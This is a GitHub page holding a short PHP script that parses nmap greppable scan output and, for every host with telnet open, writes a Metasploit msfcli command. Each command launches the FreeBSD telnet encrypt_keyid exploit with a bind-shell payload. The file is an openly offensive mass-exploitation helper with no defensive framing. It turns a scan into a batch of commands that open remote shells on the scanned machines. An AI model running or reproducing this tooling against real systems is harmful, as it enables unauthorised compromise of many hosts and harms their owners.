-
Notifications
You must be signed in to change notification settings - Fork 0
/
parseGnmap.php
43 lines (34 loc) · 943 Bytes
/
parseGnmap.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
// By: sk
$args = getopt("f:o:");
$fileName = $args['f'];
$outputFile = $args['o'];
printf("[+] Parsing: %s\n", $fileName);
if (!file_exists($fileName)) {
printf("[-] Cannot find file!\n");
exit();
}
$fileContents = trim(file_get_contents($fileName));
$fileSet = explode("\n", $fileContents);
unset($fileSet[0]);
unset($fileSet[sizeof($fileSet)]);
$cmdStack = array();
foreach($fileSet as $hostSet) {
$entry = explode(" ", $hostSet);
if ($entry[3] == '23/open/tcp//telnet///') {
$cmdStack[] = sprintf(
"/opt/metasploit3/bin/msfcli exploit/freebsd/telnet/telnet_encrypt_keyid RHOST=%s PAYLOAD=bsd/x86/shell/bind_tcp E\n",
$entry[1]);
}
}
if (!empty($cmdStack))
{
foreach($cmdStack as $cmd) {
file_put_contents($outputFile, $cmd, FILE_APPEND);
}
printf("[+] %s hosts written to file!\n", count($cmdStack));
}
else
{
printf("[-] No hosts written to file\n");
}